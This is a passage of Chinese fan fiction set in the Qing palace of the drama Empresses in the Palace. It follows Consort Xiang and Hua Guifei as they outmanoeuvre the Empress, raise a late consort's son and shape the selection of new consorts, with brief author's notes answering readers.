然而芳贵人又十分会撒娇,皇上被她捏着嗓子软软的喊几句便消了火气。 皇后的手段便一股脑的往芳贵人身上使,不是相克的饭菜就是花房里有异香的鲜花。 曹琴默‘偶尔’碰上过几次,但是她又无法,只能请了华贵妃来处理。 有协理六宫之权的华贵妃可不会心慈手软,直接削下去皇后一小半的人手。 “蠢货,除了吃脑子里什么都装不下。被人害了都是你没那命。” 华贵妃嘴里喷着毒液,但芳贵人也只是默默的嘟囔两句,并没有往心里去。 对于好说话的曹琴默,便更为依赖。 天儿热了起来,曹琴默的肚子也到了瓜熟蒂落之时。 其实接生嬷嬷和奶嬷嬷都是年世兰早早找好的,但她还是每日心神不安的样子,惹得皇上两头跑,不是在翊坤宫就是在储秀宫。 一直到五月的一晚,在翊坤宫的华贵妃只觉得心慌,便拉着皇上非要去储秀宫看一眼。 只刚到那里,肚子里的小公主便迫不及待的跟大家见面。 好在储秀宫只有曹琴默自己住着,这些人也每日里都会检查,又有年世兰的钱袋子吊着,曹琴默的生产很是顺利。 没有欢宜香的荼毒,也没有被磋磨,一位六斤重皮肤颇为白皙的小公主在深夜与其额娘见了面。 “皇上,你看,好漂亮的公主。” 年世兰并没有梳妆,她微微探头,眼神里都是慈爱。 “襄嫔生育公主有功,便享妃位份例。储秀宫上下赏半年月例。” 曹琴默的家世如此,没有晋位也并不觉得可惜。她看着小小的公主,苍白的脸上有势在必得的算计。 到底是皇上登基后第一个孩子,虽然是个公主,皇上也大办的洗三和满月。并且赐名二公主为温宜。 皇后第一时间变了脸色,不过须臾又恢复了以往的温婉。 底下的宗亲和妯娌都各自眼神泛起趣味,但是皇后自己都没说什么,这些人更不会为她打抱不平了。 谁叫皇后上位后,根本不见她们呢。 热闹了一整天,皇后眼底也越发平静。 “这后宫还是空了些,多些妹妹们,也好叫皇上开心啊!” 对着空荡荡的宫殿,皇后呢喃着。 而此时,洗干净了的曹琴默还是那般温婉的样子。 皇上坐在床上,看着素雅的寝殿摇了摇头:“你如今也正是好年纪,怎的这般素净?” 曹琴默坐在梳妆台前,只盯着自己那一头乌黑顺亮的长发柔柔道:“还未出孝,皇上您身为帝王 自然要维持尊严体面,臣妾日常里只在储秀宫和翊坤宫走走,能为皇上尽尽心也好。” 皇上猛然怔在那里,未出孝三个字叫他头脑有些发懵。他早就忘了自己还在老爹的孝期呢。 突然被一棒喝醒,皇上的脑子快速运转,半个月前太后来找他说要选秀一事,他叫世兰从旁协助。 想着世兰一向是不通这些世故的,没想起来情有可原。可太后和皇后。 皇上心里头一阵阵的凉气往上返。 他神色复杂却带了一丝庆幸的看向曹琴默:“你,很好。” 曹琴默笑了笑:“臣妾自知容貌不算上乘,于风花雪月诗书一道也并不擅长。只是,臣妾于皇上是利益共同体,自然要为皇上着想。只要,皇上有好的,事事记着咱们的温宜,臣妾便是肝脑涂地又如何。” 提起温宜,曹琴默眼睛里的算计便被掩了下去,只剩那份诚挚的母爱,沉甸甸的映在皇上的心里。 皇上现在不得不承认,虽然襄嫔容貌只是清丽,但这份心性和头脑,便是他后宫最得用的一个。 “自然,温宜也是朕的女儿。” 两个人也算是达成了共识。曹琴默负责为皇上填补被遗忘的漏洞,而皇上,便要给温宜无上的宠爱与尊贵。 这便是因着温宜是个公主,皇上不仅没有忌惮,反而十分羡慕。 又因为曹琴默的分寸感极佳,只是提出一些问题,并没有自作聪明的为皇上分忧,这叫皇上更为满意。 不过片刻,皇上又脸色带了些试探的道:“你是何时知道选秀一事的?” 曹琴默神色不变,笑着整理了温宜的布老虎后说道:“皇上您忘了,温宜满月宴前,您才通知了华贵妃娘娘一同协理。” 皇上一想,也是如此。这宫里已经被他的血滴子筛过一次了。曹琴默手里只有零散的几个跑腿小太监,还是年世兰花钱收买的。 想到这里,皇上倒是有些好笑。 有脑子没有家世,便是身下十个八个的阿哥,也不足为惧。 皇上在前朝是如何解决的曹琴默不关心,如今年世兰已经在隐忍中有些变态了。曹琴默为了防止她被仇恨刺激的乳腺结节,便出主意可以从太后入手。 “既然是太后提议的选秀,自然不能叫皇上一个人担了骂名。” 曹琴默的意思年世兰理解的很到位,不过她谨慎的选择了从山东入手,等流言传到紫禁城时,基本上就是全国皆知了。 这时候皇上再派人去查流言的源头,也只是白费力气。山高路远,大家早就忘了这一消息是听谁说的,只不过大家都在说,尤其是孔孟之乡向来重礼,太后这般便被视为不忠不义不洁之人。 皇后管理的后宫除了打胎下手快准狠外,其余的都慢半拍。所以寿康宫的太后,被流言一刺激,就这么中风了。 这一次,十四是因为大闹灵堂不遵先帝遗旨被关在景陵,太后本就不太敢闹腾,憋了一肚子的火又受到了这份‘有理有据’的气,自然为上了岁数的身体雪上加霜。 太后这一倒下,皇后的手段便有些畏缩。没了扫尾的人,她自然不敢太过明目张胆。 这便让年世兰和曹琴默有了可乘之机,只提点了一两次,芳贵人和欣常在就到了生产的时候。 只是,芳贵人到底在景仁宫时间久了,又嚣张的天天怼天怼地,景仁宫的茶水也不在意的喝过几次。 家中也没什么关系,生产时虽然曹琴默到了现场,也只是帮忙抓了一个把孩子往里推的嬷嬷。 至于芳贵人,在生下一个小阿哥后大出血,才被年世兰带着人发现了另一个手染红花的嬷嬷。 “皇上,皇上,我的儿子,给襄姐姐好不好?” 到底是宠爱过一阵子的女人,皇上看着芳贵人血色尽失的脸还是有些难过的。 “你的主位是敬嫔,交给敬嫔也好。” 皇上也只是按规矩说了一句,不过芳贵人摇了摇头,执意要把孩子交给襄嫔。 “皇上,敬嫔娘娘有了淑和,还有欣常在肚子里的孩子,我,我的孩子交给襄姐姐抚养,襄姐姐人好,定能好好照顾他。” 皇上点了点头,叫人把曹琴默叫了进来。 “襄姐姐,孩子交给你,我很放心。” 曹琴默脸色是难掩的悲痛:“别说这话,好好儿的,太医都在呢,你坚持住。” 芳贵人感受着自己流失的生命力,努力抓紧曹琴默的手:“襄姐姐,我不信她们,你帮了我,我只信你。” “皇上,皇上,六阿哥还上芳贵人的玉牒吧,臣妾,臣妾实在不忍.....” 曹琴默虽然流着泪,但为芳贵人争取了最后一个机会。 皇上心里头无比的踏实:看,他的襄嫔虽然心眼子多,但确实是个非常好的母亲。 “好,朕应了你们。” 芳贵人感激的看了曹琴默一眼,又费力的看了一眼六阿哥,便离开了这深宫。 “你抱着六阿哥先回去,别吵着孩子了。” 曹琴默看了一眼年世兰,带着六阿哥单独回了储秀宫。 看着已经入睡的六阿哥,曹琴默在心里笑了笑:“一个阿哥怎么够,不急,新人快进宫了。” 第154 章 曹琴默12 年世兰看着曹琴默的背影默默陷入了深思,她就知道这个无利不起早的女人不会好心的给芳贵人做什么知心姐姐,原来是打的这个主意。不得不说,曹琴默是她认识的女人里,最理智也是最冷漠的人。 她转过头,按照曹琴默安排的戏折子继续演下去。这个女人是真的狠啊,让她回想着曾经的仇恨,毫无破绽的把皇上的疑心勾起来。 “以妃位下葬。” 皇上只难过了一瞬,便恢复了理智。从容的吩咐着咸福宫的宫人准备后续事宜,便带着年世兰离开了。 “你身子弱,便不要操心这些了。朕叫皇后来办。” 年世兰心里疯狂冷笑,真好啊,皇后接过这摊子有多恶心她就有多快乐。眼看自己费劲准备的‘母子俱亡’的套餐不仅被襄嫔得了一个阿哥,还牵连到了她自己,这是多叫皇后窝心的一件事。 把年世兰送回翊坤宫,皇上转身去了储秀宫。 看着抱着温宜正在轻哄的曹琴默,皇上放轻了脚步,慢慢的走到六阿哥的房间。 “六阿哥怎么样?” 小小的人刚到储秀宫不到一刻钟,已经安然的睡了下去。 “回皇上的话,襄嫔娘娘叫咱们把芳贵人给六阿哥做的衣裳和小床都带了过来。这几日天气好,六阿哥没有哭闹,喝了奶就睡了。” 看着和襄嫔气质完全不符的鲜艳,皇上默了默。 “她有心了。” 曹琴默主动要求记小阿哥的玉牒在芳妃名下,皇上是十分满意的。毕竟曹琴默跟年世兰太亲近了,一个公主还好,再有个阿哥,实在让他不踏实。 不过,好在年羹尧最近因着华贵妃病弱的缘故,没什么心力如以往那般胡闹。反而有些混日子的样子,日日去打听什么民间神医,企图给年世兰调理身子。 “咱们温宜瞧着长开了,真是漂亮。” 从六阿哥的房中出来,不肯睡觉的温宜还在曹琴默的臂弯里咧着嘴好似在笑一般。伸着手够着床头挂着的香包,可爱极了。 “小孩子一天一个样儿,皇上有几日没见温宜了,自然觉得变化大些。” 皇上看了曹琴默一眼,只见她满眼都是温宜的倒影,倒显得他刚才的猜忌有些阴暗了。 “芳妃跟你倒是要好,有你照顾六阿哥,朕很放心。” 这话听着就不对劲,曹琴默又不是傻子,她在心里翻了个白眼,表情未变:“什么要好不要好的,不过是因着看她蠢的差些保不住胎提点了两句罢了。 没想到最后还是差了一步,臣妾并非 那般好心之人。和温宜差不多大的孩子,注定会夺走她皇阿玛的注意力。只是如今皇上刚刚登基,一点点小事也可能叫人编出来不入耳的闲话来。为着皇上的名声,也为了温宜的好日子,臣妾不得不这么做。” 皇上脸上的表情很复杂,那是一种自己沾了自己女儿光的稀奇和被自己后妃忽视的不满揉和在一起的样子。 “你倒是实诚,不怕朕降罪于你吗?” 曹琴默笑了起来:“也不是不怕,不过一点点。” 皇上挑了挑眉,这倒是奇了。就连皇后和华贵妃都不敢这般说,襄嫔到底有何底气?就因着怀中的温宜吗? “这是为何?” 曹琴默把开始打哈欠的温宜递给乳母,自己整理了一下袖子上的褶皱,语气里带了些凉凉的清明道:“臣妾虽入府时间晚些,也不得皇上宠爱。但自问还算是对皇上有些了解。 皇上看似对咱们这些不受宠的有些冷漠,但还算是有几分面子情。只要臣妾忠君,皇上就不会真的生气。” 皇上脸上有一种哭笑不得的神情,又自觉在襄嫔面前的形象过于伟岸,只能认了下来。 “襄嫔,太聪明的下场可不一定好。” 曹琴默抬起头,回望皇上的眼神:“可是皇上,臣妾只有一个公主,若是臣妾既不得宠也对皇上没用的话,温宜便会和所有不起眼的公主一样。即便是扶蒙也可能会去那偏远的漠北,臣妾怎能安心。” 皇上没有说话,静静的坐着看着曹琴默。 ‘连襄嫔都懂朕初登基的不易,但皇后还是屡教不改不停的拖后腿。’ 在皇上心里,徐佳娉婷这一胎必定是皇后动的手,毕竟在襄嫔挺着肚子请安不适时,皇后并没有停止她这一立威之举,反而仍旧叫芳妃和欣常在日日去坐着就能瞧出一二来。 太后如今中风连为其扫尾都做不到,毕竟这是皇后日日摆在明面上的事,即使要圆场,也是无处下手。 皇上其实不太喜欢过于聪明的女人,毕竟这让他心底隐晦的自卑无处遁形。也不喜欢跟他一起做过坏事的,那会让他时时看见自己龌龊的证据。 但曹琴默不同。因为相处的时间并不长,他自问还是个有风度的男人,所以在襄嫔眼里,自己是个可以说真心话可以依靠的形象并不难理解。 皇上看着曹琴默的眼睛。 慈母之心,为了温宜能在皇子中多得些宠爱,襄嫔宁愿暴露自己的算计。 知道自己不受宠便另辟蹊径,这样的母爱怎能不令他动容。 “皇上,内务府有安排外地进京秀女的住处吗?” 皇上愣了一下,这就是细致人的脑子吗? 不过这一点,还真没有人想出来。 华贵妃那里情有可原,毕竟曾经是侧福晋,还是汉军旗包衣抬旗,对这些不了解很正常。但皇后也太过疏忽了!这都是第几次了?若不是襄嫔提出来,皇上还真觉得自己这张脸就要丢到大清之外了。 “你心细,若是朕有疏忽的地方,便说出来。” 皇上不得不承认有这样一个时刻能补全小节的人在侧是非常有安全感的一件事。 不会被朝堂上的言官没事就抓住一点小辫子就要谏言,那实在烦的很。 “是,臣妾也只有这些微末处能帮皇上了。” 皇上拍了拍曹琴默的手,看着天色也不准备折腾了。 “安置吧,今儿也累了。” 景仁宫的的皇后还在等皇上,却只听到了储秀宫熄灯的消息。 “本宫倒是小瞧襄嫔了,居然能以华贵妃名下人的身份抚养六阿哥。” 灯火通明的景仁宫安静的有些阴森,端坐在一盘盘已经凉透了的佳肴前的皇后,脸色惨白唇却泛着不正常的红色。 “娘娘,凭她是什么人,不过是个小阿哥罢了。一阵凉风一场小雨可能就要了性命,娘娘何必往心里去。” 剪秋已经在盘算如何结束六阿哥的性命时,就听得自家娘娘冷冷的笑声:“储秀宫,你伸得进去手吗?” 剪秋哑然。 “不急,皇上不会忍年家太久的。本宫等得起。” 悠悠的声音在大殿上一飘而散,却是令剪秋放松了眉头。 第155 章 曹琴默13 “娘娘,内务府那边奉了华贵妃的命令,开始打扫钟粹宫了。” 江福海今日接到消息就觉得不好,赶紧跑进去跟他主子汇报。 皇后疑惑的看着他,脑子里过了八百遍也没想起来到底是谁要进宫了。 “这是为何啊?” 因着年世兰的身子,她已经很少去景仁宫请安了,所以并没有第一时间通知皇后。 “娘娘,是,外地秀女进宫学规矩。” 皇后手里的葡萄掉到了地上,她撑着额头,眉头紧紧皱在一起。 “是本宫疏忽了,剪秋,扶本宫去更衣。” 皇上那里,怕是不好交代啊! 想到这里,皇后又恨的咬了咬牙。这年世兰何曾这般机灵了?! 只是皇后的狡辩并未得到皇上的认同,他只是冷冷的,不耐烦的看着地上的皇后道:“自朕登基后,你一无笼络宗亲的建树,二无治理后宫的才干。 皇后,景阳宫里存了孝诚仁皇后的起居和为后时的记录。这选秀便全权交与华贵妃来操办,你便去景阳宫多多学习吧。” 皇上这话叫皇后的面皮发烫站立不稳,她强撑着仪态行礼告退,回到宫里便砸了多宝阁上所有的摆件。 “皇上这是什么意思!是本宫愿意这样的吗?!但凡皇上多给本宫一点尊重,本宫会如此吗?” 剪秋心疼的把地上的碎片捡起来,不叫它们扎着自家娘娘。 “娘娘,华贵妃提前察觉了咱们的疏忽,肯定说了娘娘不少坏话。如今皇上在气头上,太后娘娘又不得起身,不如先忍上一忍。左右等这批秀女进宫了,皇上定不会叫娘娘一直这般的。” 主仆俩并没有其他的办法,只能按照皇上的意思每日在景阳宫报到,至于心里怎么想,旁人就不得而知了。 翊坤宫。 “这样便可以了吗?” 年世兰握着曹琴默的手,有些不可置信的说道。 “皇上不会爱一点弱点都没有的臣子的,只是年大将军做的太过了。其实,若娘娘看了看隆科多便知,皇上对于贪官,对于其好女色一事,并不觉得有何不对。但怪只怪年大将军不仅贪钱图色,还想插手皇上的官场!” “你说的对,本宫会给家里寄去信的。” “记着,万不可操之过急。为娘娘寻名医这名头就很不错。不仅要做下去,还要有成果才是。” 年世兰似懂非懂的点了点头,按照曹琴默的意思传信回了年家。 年羹尧自头脑清醒后恢复了初入官场时的理智和敏锐,看到自家妹子说的办法,点了点头,随即烧了信纸。 看来是时候告假去‘寻’一个名医来了。 整个年家为了给宫里的华贵妃治病,四处寻访名医一事传遍了整个京城。曾经与年大将军交好的官员也寻人不得,慢慢的,以利而聚的人从年羹尧身边散了开来。 皇上收到消息,收起了一些杀心,若是年家能一直保持这般,他倒是能留下年羹尧这条命。 毕竟此时的年羹尧还没有到剧中那般以川陕土皇帝的嘴脸面对皇上,所以对于这位扶持他登基的老臣,皇上还算是有些忍耐力。 “明儿就是殿选了,娘娘可要早些休息才是。” 因着皇后还在学习,太后病重无法起身,这次陪着皇上殿选的,是华贵妃年世兰。 有曹琴默的提醒,安陵容和大多在京城并无定所的秀女都已经住进了钟粹宫里。每日里都有嬷嬷过来讲些规矩,虽然人多挤了些,但安陵容是个嘴甜的,还算混的不错。 选秀当日,皇上自个儿面试了满军旗的秀女当做开胃菜。 蒙军旗的秀女已经在路上了,科尔沁送来的小郡主,不需要选秀,做个吉祥物在后宫混日子罢了。 如剧情中一般,看了一上午的皇上只留下了富察氏和方佳氏两人。 到了下午,便是汉军旗的主场。 年世兰稳坐在高台上,看着底下水嫩漂亮的秀女们神情落寞,却不得不提起嘴角。 皇上自然是注意到了年世兰的不对劲,拍了拍她的手以示安慰。 没有太后的催促,皇上根本没看上穿的像丽嫔一样的夏冬春。 而在安陵容到来时,因为是宫中统一发下来的粉红色宫装,又有手艺不错的嬷嬷给梳了清爽的两把头。 再加上这几日安陵容也算是曲意逢迎的奉承了几位有钱的秀女,得了一根水头极佳的玉簪,两朵小米珠攒织的珠花,还有一对白玉的耳坠子。 一番打扮下来,小家碧玉温柔似水的气质凸显,倒也不需要那飞来的蝴蝶,直接被留了下来。 “皇上真是好眼光,这秀女可跟臣妾这风风火火的性子不同。” 年世兰时刻谨记自己的人设,但凡皇上相中的,就酸上两句。 皇上倒是听不腻,甚至十分受用。 “在朕心里,世兰就是最好的。” 年世兰笑的娇羞,其实心里快要呕死了。 “济州协领沈自山之女沈眉庄,年十七。” 皇上隐晦的看了一眼年世兰,看她那双懵懂只有醋意的眼神轻轻叹了口气。 “可曾读过什么书?” 沈眉庄还是那般回答,不过到底这家世打底,长的也不错,皇上便留了下来。 一直到甄嬛被叫了第一遍未动时,年世兰捂了捂嘴,有些不耐烦的说道:“初选时的嬷嬷,谁负责的汉军旗秀女?怎么聋子也能被放进来吗?” 可算是有了可以发泄的机会了,年世兰自然不会放过。不过,她倒是对曹琴默更为钦佩,这都能算出来。 甄嬛听闻立刻跪在地上请罪,耳朵倒是又恢复了用处。 皇上瞧着其清爽的打扮倒是眼前一亮,颇为有兴致的问道:“哪个嬛字?” “嬛嬛一袅楚宫腰,正是臣女闺名。” 而此时,在曹琴默的提示下,周围安排的都是御前的嬷嬷们和年世兰一起,霎时间响起了轻微的咳嗽声。 “皇上,臣妾怎么记着,这楚王好细腰的词,应当不能拿到这个场面说吧?” 年世兰只是不爱这些酸文腐话,但并不是文盲。闺阁时也愿意看两本算不得正经的诗词话本,对这话印象还未消散。 皇上本有些兴致的脸突然耷拉下来,看着甄嬛就有些恼怒:“抬起头来。” 本以为要落选,没想到峰回路转这张脸被皇上看上了。 回去的路上,沈眉庄一脸不赞同的样子叫甄嬛连忙解释:“眉姐姐,你是知道我的。从来读的杂书就多些,今日也是一时紧张,不小心说了出来,却没想到还是选上了。” 沈眉庄拍了拍甄嬛的手:“好了,咱们姐妹能一同入宫也是好事。我是知道你博览群书的,但你可要记着,进宫后万不可如此了。” 甄嬛笑了笑:“是,我记下了。” 因着年羹尧四处寻医,江南织造孙株合便试探着联络了皇上。没想到年羹尧根本“无心”理会这些事,倒让皇上直接收拢了江南织造的人手和钱袋子。 这次选秀,孙妙青也成功入选,补了夏冬春的缺。 “皇上,外地的秀女只有安陵容和孙妙青,是否还住在钟粹宫里?” 皇后还没有被皇上考试,依旧在景阳宫学习怎么做皇后。所以在养心殿“加班”的,是“醋精”华贵妃。 “嗯,孙氏乃江南织造孙株合的妹妹,便封个常在,至于安氏,家世低了些,便给个答应。在钟粹宫也不必挪动了,叫二人就在里头住着吧。” 本该是皇后的工作,如今新选的小主也不多,皇上索性直接安排了下去。 “富察氏,便封个贵人,也住去钟粹宫去,特赐正殿,也是叫老臣安安心。 博尔济吉特氏也封个贵人,住在......永和宫吧。太后病重,也算是冲冲喜了。 沈氏,济州协领沈自山的女儿,便也封个贵人,住在延禧宫去。 甄氏......” 说到甄嬛,皇上的表情有些怀念,也有些年世兰看不懂的情谊。 年世兰才不管皇上要封什么,但是不作也不是她的风格。 “甄氏不过是大理寺少卿的女儿,难不成真得了皇上的喜爱不成?” 年世兰娇纵但有些脆弱的声音乍一响起,皇上立刻回归了神志。 “瞧你说的,朕哪里说了。甄氏只封个常在便好,就,住在延禧宫吧。至于方佳氏,太小了,也给个常在就是了,送去齐妃的长春宫住着。” 华贵妃这才带着不满和无可奈何的点了点头。 (关于年家这个事,有小伙伴说美化年家,但我还要说一句。 这是在当时那个场景,作为年羹尧的亲爹,他的想法跟咱们局外人肯定不一样啊! 作为父母,他眼中的年羹尧那就是好的。说不定他还会想:我儿子这么厉害,有点小毛病怎么了?对不对? 还有最近看评论,马奇是老二这个事确实我查资料的时候看到了,但是写的时候忽略了。就当老大看吧,又不是什么历史科普文!) 第156 章 曹琴默14 “娘娘,这是入选小主的名单。” 剪秋苦着一张脸,把手里的册子递给正在梳头的皇后。 “位分和宫室都定了下来?是谁?华贵妃做的吗?” 皇后的手不自觉的收紧,把手里的册子掐出了几道月牙的痕迹。 “娘娘,是皇上亲自定的。” 皇后沉默了一会儿,平复了心绪后,才低头仔细看了起来。 “绘春不是说有个秀女长相于柔则无二致吗?是哪个?” 这本册子怎么看都很规矩,并无太过出挑的。单这么看,实在看不出哪个是皇上有所偏爱的。 “是延禧宫的甄常在,甄嬛。” “常在?” 皇后心里头突然有些不安,若真如绘春所言,这位甄常在貌似柔则,不应该只是常在的位分。就算有华贵妃从旁于位分上有所阻拦,皇上应该也会给一个封号才是。 “叫绘春过来。” 皇后对新入宫的宫嫔有了些计较,只是这甄氏的作用,不知能不能利用得当了。 “娘娘。” 虽然选秀皇后未曾亲临现场,但到底是后宫之主,派去个宫女看看情况很正常,皇上也未多言。 “你且仔细说来,这甄氏,到底如何啊?” 绘春是跟着宜修从潜邸出来的老人了,自然是见过纯元皇后的。 “娘娘,这甄氏的眉眼处有五分肖似纯元皇后,若遮住嘴,便能有八分。并且其身上似有纯元皇后的气质,只站在那里,无端端就能想到纯元皇后。 另外,奴婢还观察到,这位甄常在,和济州协领的沈贵人是故交好友,两人在殿选前一直凑在一处。” 虽然绘春说不上来甄嬛身上到底是什么气质,但宜修能理解,那就是‘贱人’的气质。 “怎么会这样呢?” 宜修兀自坐在那里,虚虚的看着眼前的空气,似是遇到了不解的难题。 绘春的话她没有怀疑,既然连绘春都觉得甄氏长的活脱脱就是纯元那个贱人的模样。没道理只得了常在这个位分,连封号也无,难道皇上忘了纯元了吗? 这不可能!宜修随即否定了自己。 她如今的继后之位还是“托”了纯元这个贱人的福。生前压的她不能翻身,死了也要给自己添堵。 思来想去,宜修也只能把这一切归咎到华贵妃年世兰的头上。她因着欢宜香坏了身子,如今正是得皇上愧疚的时候,不过是压一压位分,进宫后,还怕没有晋位的机会吗? 仿佛是看到了“小纯元”夺了华贵妃的圣宠,宜修的表情逐渐舒展。 而这次,负责派去教养嬷嬷的活儿只有年世兰一人经手。皇上因为顾忌着华贵妃的身子,也没有叫芳若特意跑上一趟。所以,去甄府的,是一直留在内务府,先帝时期负责教导秀女的那拉嬷嬷。 “你倒是清闲的很,日日逗弄两个孩子,连翊坤宫都不去了。” 年世兰晃悠到储秀宫玩了会儿娃,也算是一解她当母亲的单相思。 这几日皇后免了请安,正是闲适的时候,曹琴默只着了轻薄的旗装,头发也轻巧的做了盘辫。每日除了看孩子,再没有其他动作。 曹琴默挑了挑眉,示意身边的音袖去端茶。 这宫女是她作为格格进雍亲王府时给派来的,不管身后有没有人,总之原主的一条命送她手里了,曹琴默从前不动是因为没有榨干她的价值。 而如今,想着寿康宫那越发严重的太后,她抬手掩住嘴角的弧度。 “娘娘莫急,这宫里啊,就要热闹起来了。” 年世兰无所谓的撇了撇嘴,这宫里只是热闹起来怎么够?她恨不得叫宫里烧起来才好呢。 “好了好了,你们下去,这里有颂芝就行了。人一多本宫的心口都堵得慌。” 瞧着上茶的音袖,年世兰突然闹起了脾气。 这大家都习惯了,华贵妃有一日不闹才奇怪呢。 瞧着人都出去,年世兰看了看曹琴默,眼底都是不解。 曹琴默喝着茶,只是随意的和她拉着家常:“娘娘的身子虚弱,若是空闲,便只叫了臣妾去翊坤宫便好。虽然储秀宫近些,但,吹了风,万一有个头疼脑热,可怎么好呢?” 年世兰听懂了曹琴默的意思,可是音袖到底有什么值得她手下几个宫女太监轮班的开窗呢? “也是,本宫现在动一动就喘的很。下次可不来了。你这里连个花儿啊草儿的都没有,无趣。” “瞧,臣妾记得您从前还说,闺中在年府时,总是因着拿鞭子不稳打坏了年老夫人多少盆的长寿花和绣球花呢,这如今倒是又喜爱这些了。” 年世兰看着曹琴默意味深长的表情,眼底似有明悟。 她试探着问:“那都是曾经祖母喜欢的花儿了,祖母疼爱本宫,自然不会计较。你记性倒是好的很,这些小事也记得。” 曹琴默点了点头:“嗨,这后院深宫里,臣妾也不是个读书静心的,也没有一技之长,便只能记些家长里短的打发时间了。” 年世兰若有所思的点了点头道:“既然记着,明儿带着温宜找本宫坐坐。本宫那里存了不少好玩意儿呢。本宫是没福气给孩儿留下了,便宜你了。” 曹琴默拉了拉年世兰的手眼睛瞥了眼窗户:“娘娘何必说这丧气话,一些小病症,一定会好的。” 自从回归清醒后,年世兰便对曹琴默的眼神特别敏感,如今反应极快的转换了语气,悠悠却自暴自弃般的叹道:“但愿吧。” 年世兰走后,曹琴默去看了看两个孩子,然后坐在那里拿起笸箩上的未完成的络子继续做着。 储秀宫并非像翊坤宫那般铁板一块,主要是她这个家世,若是连皇上的人都赶走了,那就太显眼了。 左右现在大部分事情都安排好了,余下的,便是她的战场,年世兰的作用只剩下了努力维护朱砂痣生前的美好而已。 养心殿。 “皇上,贵妃走时脚步虚浮面色苍白,怕是不太好。” 听着底下的人回话,皇上更加觉得有襄嫔在侧是个好事。懂事聪明有分寸,还能在他忙碌的时候安抚华贵妃,只有一个对温宜好的愿望,太容易满足了。 “苏培盛,去把朕库房里织金缎和妆花缎送去储秀宫。对了,小孩子长的快,朕记得还有两匹红色缠枝海棠纹漳缎,也一并送去。” 苏培盛应了一声,赶忙下去干活。 对于自愿去延禧宫当一等宫女的崔槿汐,有些踟蹰了。 叫他苏培盛来说,咸福宫和储秀宫都是好去处。 两宫里虽然都捞不上掌事姑姑的活儿,但敬嫔现在抚养着大公主,还有一个刚出生的七阿哥在。 储秀宫也是如此,有六阿哥和二公主。努努力,能去阿哥们身边伺候着,不比在前途未明的小主跟前好吗? 但崔槿汐认准了甄嬛,苏培盛也觉得这张脸能有大造化。只是崔槿汐的资历到底不如本就在延禧宫的苁蓉,掌事宫女的职位是当不得了,只能当一个一等宫女。 可如今看华贵妃的身子,襄嫔的运势,那分明是最直白最简单的康庄路啊。 苏培盛百转千回的心思暂且不提,音袖终于在年世兰手下人的夹击下得了风寒。只是年世兰去储秀宫一事又不得不向主子汇报。 本就不通风的地方加入这一滴风寒的热油,太后骤然病重。皇上来来回回这么一查,太后自己出手收买了襄嫔身边的宫女害了自己。不仅说不出去,甚至一点不对劲的地方也没发现,这简直是得不偿失。 老娘的病重叫皇上很是气恼,又不能直说是太后自作孽,便暗暗的处理了音袖泄气。 (音袖这个人不一定是太后的人,毕竟当时的曹琴默因为背叛华妃让太后和皇上都不喜,两大巨头的拉拢,音袖一个小宫女肯定不能拒绝。 但是这里呢,音袖被提前拉拢是正常的。毕竟曹琴默明面上还是华贵妃的人,但养育着六阿哥。这在太后眼里能得了吗?!那她乌拉那拉氏不得坐立难安啊。所以提前拉拢了音袖非常合理,我说的。) 第157 章 曹琴默15 “怎么只抱了温宜去,咱们弘晏被落下了啊。” 皇上批完折子,想着曹琴默只愿温宜万事顺遂的话,便溜达到储秀宫看看。 没想到储秀宫里只有六阿哥和四个奶娘,掌事姑姑南星倒是也在侧陪同着。 “回皇上的话,是华贵妃想要见见温宜公主。我们娘娘想着,可能是贵妃娘娘怕见着六阿哥触景生情,便没有一起抱过去。” 皇上逗弄弘晏的手顿了顿,脸上的表情未变,但眼底有些愧疚,被苏培盛看的分明。 苏培盛心里头默默感慨:“谁说襄嫔娘娘美貌不及其她娘娘小主定不会得宠的。这份脑子,他老苏都佩服。” 皇上没有再说话,只是在弘晏和温宜的卧房里转了转,看看两个孩子的玩具,摸摸两个孩子的衣裳,脸上的神情是满意且舒心的。 “皇上,翊坤宫的周宁海来了。” 本想着等曹琴默回来,没想到周宁海直接找来了。 皇上笑了笑,也没叫人进来,直接带着人去往翊坤宫。 “皇上,臣妾要当温宜的干娘!” 年世兰一开口就把皇上嘴里的‘免礼’堵了回去。 看着曹琴默有些无奈又有些意动的脸色,皇上倒没什么不满。 “你若是喜欢公主,等新入宫的嫔妃有了小公主,抱给你便是。何苦当这个干娘。” 年世兰摇了摇头语气很是落寞:“臣妾这个身子,若是哪天去了,公主怎么办?干娘便好,温宜生的玉雪可爱,襄嫔又聪明,臣妾这个干娘过过瘾罢了。” 看着年世兰的脸色还是那般难看,皇上实在心疼。 “世兰莫要混说,你哥哥年羹尧已经请旨出京遍寻名医了,定能治好你的病的。” 年世兰扯了扯嘴角,似是不愿意再说这些。这时,周宁海又进来道:“皇上,娘娘,襄嫔娘娘,咸福宫的欣贵人来了。” 年世兰刚想打发了,就看到曹琴默不赞同的眼神,憋着气翻着白眼叫人进来。 皇上在一旁看着,只觉得有趣。 “嫔妾给皇上请安,给贵妃娘娘请安,给襄嫔娘娘请安。” “起来吧,你怎么过来了?身子可养好了?” 欣贵人前头生七阿哥的时候遭了罪,坐了双月子身体还是单薄的厉害,脸色也不复以往的红润。 “好多了。嫔妾亏了贵妃娘娘的帮忙和襄嫔娘娘的提醒。前段时间起不来身没办法来谢恩,如今总算是能动弹了。” 欣贵人的七阿哥不在曹琴默现如今的计划内,毕竟主位有个敬嫔,皇上再怎样也不会一下子把两个阿哥都放在她手里的。 但是场面工作该做的还是要做,为以后打基础嘛。 “起来吧,自己蠢本宫才懒得救你。” 华贵妃还是以往那般不好相处,但欣贵人却觉得再没有比华贵妃更口是心非的人了。 “是,嫔妾蠢笨,自然不比娘娘聪慧。” 这话说的年世兰爱听,嘴角有掩饰不住的得意。 皇上嘴巴动了动,把笑意咽回去。 “你有心了,回去歇着吧。” 不过是顺手而为的事,年世兰做足了‘不在乎’的样子,叫皇上越发心疼。 “你的身子不好,若是有事便叫襄嫔去做,何苦这般劳累。” 曹琴默低垂着眸子喝茶,似是没听到皇上的话。 只是她的茶似乎有些热了,她轻轻晃动着吹了两下。 年世兰会意,摆出一副娇纵的表情:“臣妾做事总是要做到最好的。要么还不如不做,襄嫔还要看孩子,哪里有空!” 皇上笑了笑:“好,世兰量力而为就是。” 总归后宫有年世兰安排着,倒比皇后看管时强的多。年世兰又病弱,做不得一言堂之相,皇上也不算太过防备。 只是还未温情一柱香,周宁海又进来了。 “你这奴才,最好有要紧事。” 皇上拍了拍年世兰的手,如今他的世兰骂人都气虚了,真是可怜。 